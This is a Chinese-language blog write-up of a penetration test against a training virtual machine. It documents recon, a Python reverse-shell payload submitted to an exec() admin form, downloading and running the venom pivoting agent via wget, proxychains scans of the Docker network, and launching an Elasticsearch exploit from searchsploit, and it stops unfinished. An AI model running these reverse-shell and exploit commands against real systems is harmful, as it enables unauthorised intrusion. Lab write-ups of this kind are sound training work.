web noob 5k字(以上)medium_socent内网渗透 ,作业级wp!(持续更新——)

前言:

深陷学校水课和高数中期的漩涡之中,几乎没时间继续打靶。打靶(MoraityCorp)过程也困难重重,令人b溃。但是哥们好歹没放弃。现在是5月8日,计划5月11日完成,看看哥们有没有实力。

———李仁间想念月圆

5月9日20时许,靶机出现了不可解决的致命问题,而且我怀疑问题出在官网文件本身,我的打靶计划戛然而止。

一切如同我匆忙结束wp时的留言一样

“像是命运“。

我会在该博客末尾插入我崩殂的last writeup,花了很长时间,同时位于开头关于“如何解决靶机ip无法扫描“的问题我认为值得一看,算是一个对自己难以履行诺言的所作的理由。

———李仁间想念月圆

-1:靶机配置与前期准备

官方网站:

注意修改网络适配器为NAT模式!

这个靶机非常友好,可以说是即装即用。但如果不幸的,我们的小白uu无法扫描ip,可以移步到我的上一篇moneybox的文章开头看看,也可以看本篇末尾插入的我崩殂的上一个wp(苦笑

虚拟机环境:VMware Workstation,但是靶机作者推荐 Virtual box

靶机难度:中等偏难 对小白很有挑战性

准备工具: kaliXshell(可以不用,我只是拿来连接一下kali)、dirsearch(kali)firefox浏览器(其他也可)、venom

0:信息收集

再三重申,除去授权以外,信息收集就是做渗透时最最重要的!能收集越多的信息就意味着能发现越多的漏洞!

首先直~接打开靶机

“Ubuntu”的字样意味着它运行的系统为Linux,所以这里我们可使用小白友好的kali作为攻击机。

打开kali,首先对靶机进行ip确定,输入命令

arp-scan -l

发现目标ip为192.168.233.140

接下来,进行常规的端口扫描

输入nmap命令

nmap 192.168.233.140

我们只发现使用22端口的ssh服务以及使用5000upnp服务。upnp也是闻所未闻,令人疑惑。查询后发现是一种网络协议。

接下来,为了进一步了解端口运行服务,我们输入命令

nmap -p22,5000 -sV 192.168.233.140

由此,我们了解到了22端口的ssh服务版本,以及运行于5000端口之上的http服务,也就是说,我们的首选入手点,就是该open的http。同时,5000端口的框架基于python2.7.15构建,这也许对后续渗透有帮助。自此,前期的信息收集到此告一段落,我们可以正式开始渗透了!

1:5000端口

咱们先登陆5000端口进去看看

大意如下

我们可以先在留言框内输点东西测试一下

输入 test

留言框内容直接回显到网页上

再输入aaa试试

发现文段不够长

那么再输入aaaa

回显成功!

这意味着这个留言框的文字上传下限为四个字符。但是暂时不知道有啥用。

是我我会直接万能密码一手,但是太小白了。真正的糕手都会先选择F12看看源代码。

什么也看不出来,更小白了。

但通过上次moneybox的经验,我们可以尝试挖掘一下网站的子域名,来看看有没有隐藏的目录和文件

在有dirsearchkali中输入命令

​
dirsearch -u http://192.168.233.140:5000

​

通过扫描,我们发现了一个/admin的路径

那我们就在刚刚扫描的url后添加/admin访问看看

网页大意

我们似乎需要输入一些代码,并提交给 exec() 函数去验证执行开启某些某些服务。

这里呢,结合我们之前已知的 python 框架,我们可以尝试操作一下 反弹shell

笔记区:什么是反弹shell?

反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。

任意网站搜索python的反弹shell,复制一下

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.1",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

然后修改里面的ip(kali)和端口(监听)信息(后期提示:先别复制我的)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.xxx.xxx",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

修改成功后,先在kali中开启本地端口1234监听,输入代码

nc -nvlp 1234

开启后,在/admin页面提交我们的shell(后期友情提示,先别把上面的代码复制进去)

再返回kali

失败啦!没反应!超!

经过多方求助,您猜怎么着?

这个靶场的反弹shell,需要去掉一点东西,我认为是前文提到的exec() 函数自己包含了小框架,所以解决方式是改成如下的代码——

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.xxx.xxx",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

网页提交,再返回kali

啊哈哈哈!终于连上了!

接下来,我们将针对这个靶机的内网进行渗透

首先,我们 ls 一下目录

其中,我们可以发现一个很可能是docker容器文件的东西——Dockerfile

Docker容器文件的存在,可能意味着这个靶机可能本质上是一宿主机的复制。只有对宿主机进行渗透,我们才能算对内网进行渗透。

我们可以先打开验证一下docker文件

以上我们可以发现一些标准的docker部署流程,包括其搭建、复制以及启动 等

所以我们有理由相信,我们需要通过该靶机找到宿主,从而渗透内网

我们可以用以下方法直接验证docker容器

靶机输入命令

cat /proc/1/cgroup

当如图出现docker文件以及哈希值字符串时,我们就可以确定这一定是一个docker容器系统!

宿主机大概率与靶机处在同一网段下,所以我们可以先查询靶机网卡ip,输入

ip a

如图即为该靶机的ip,而与我们原先扫描出的192.168.233.140不同,这也侧面证明了docker容器的存在

2:主机发现、服务挂载与渗透!

那么接下来,我们进行主机发现。想要对主机ping,但是子网掩码有16位,理论上存在65535个可能,

所以在这里,我们可以使用一个简单的脚本来自动ping命令(这里仅扫描了1到10)

for i in $(seq 1 10); do ping -c 1 172.17.0.$i done

如图,我们ping通了1、2、3三个ip

接下来,为了与这两个ip建立联系,我们需要使用工具venom。我已经部署完成,并且移动到了桌面

打开文件夹

由于前文已经知道靶机的操作系统与版本,了为了方便操作,我们将文件中靶机连接的文件agent_linux_x64改为a

新开一个终端,进入到venom的目录

打开指定服务端文件并开启端口侦听建立反弹链接

./admin_linux_x64 -lport 9999

接下来我们再开一个终端,在venom路径中启用python3模块打开http服务侦听80端口(图片显示不一样,跟下面代码走)

python3 -m http.server 80

这样我们就在kali启动了一个http 80服务

接下来,我们就可以在客户机使用 wget 连接这个80端口服务并且将venom的a文件下载下来

wget http://192.168.xxx.xxx/a

可以ls 一下看看下载成功没有

然后我们执行命令给文件a运行权限

chmod +x a

紧接着执行它,并且连接kali指定的监听端口

./a rhost 192.168.233.129 -rport 9999

接着输入建立联系

./a -rhost 192.168.233.129 -rport 9999

建立成功!

接下来回到服务器端查看接收信息

回到使用venom开启9999监听的终端,使用命令

show

查看连接的媒体

可以看出已经有一个节点连接上

接下来 我们使用命令连接该节点

goto 1

接下来,我们在这个节点继续打开1080监听端口

socks 1080

这样我们就成功在kali打开了socks的1080代理,至此,所有的服务端口都挂载完毕。

回到python运行的http终端,shift+ctrl+c,再输入命令用proxy集合挂载socks、nmap等服务

vi /etc/proxychains4.conf

进入后,在配置文件底端按下 i 修改配置

exc结束修改,输入:wq!保存退出

终于,我们可以正式开始对内网进行渗透啦!我快挂载疯啦!AAAAAh!

在挂载proxychain的情况下使用命令扫描内网ip

proxychains nmap -Pn -sT 172.17.0.1

一阵疯狂的代码跳动过后,代码执行成功!

我们可以发现,1号ip开放的端口服务和原始靶机一摸一样!

我们继续对1号进行服务版本的扫描

proxychains nmap -p22,5000 -Pn -sT -sV 172.17.0.1

扫描结果果然和原靶机的一模一样!

我们可以在proxy插件代理的情况下访问内网1号ip的5000端口,可以发现与原靶机一模一样!甚至可以看到原来测试上传的数据!(可以自己验证)

也就是说,1号ip即为靶机的宿主机!找到目标!

同样的操作,我们对2号ip也做一遍

proxychains nmap -Pn -sT 172.17.0.2

我们发现了9200端口

再对该端口进行应用类型和版本扫描

proxychains nmap -Pn -sT -p9200 -sV 172.17.0.2

 发现该端口运行着Elasticsearch REST API 1.4.2服务,而该服务在历史版本中曾有过数次重大的bug,包括远程执行!

所以我们有理由认为这里存在漏洞,并且可以利用。

使用命令查找指定漏洞(干,5.11的零点到了

searchsploit Elasticsearch

其中前两个搜索结果都是远程代码执行

那么,我们可以将path框内的脚本挨个复制下来跑一跑,看看能不能攻破它

操作第一个复制到当目录下,命令

cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

然后查看它

vi 36337.py

(这个页面效果还有点好看。。。。。。)

我们可以在开头发现该脚本运行于python2环境,所以退出并运行代码

proxychains python2 36337.py 172.17.0.2

执行成功之后,我们用id命令提权root

打到这个地方出问题了。出现了这个靶机不应该出现的错误。

心态也因为一些原因,出现了不可消除的影响。靶机问题和心态问题出现,前后不超过五分钟。

与前文相同

X:“像是命运”

问老师也无果。老师建议我删机从头来,可回炉重造完不成我5.11的诺言。故在此暂时截稿,后续打到这里,我会继续更新。感谢支持,望君周知!这是我这辈子第一次向别人展示一个未完成的作品,它会完整的!上一个moraity_crop也会完整的!

————李仁间想念月圆

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值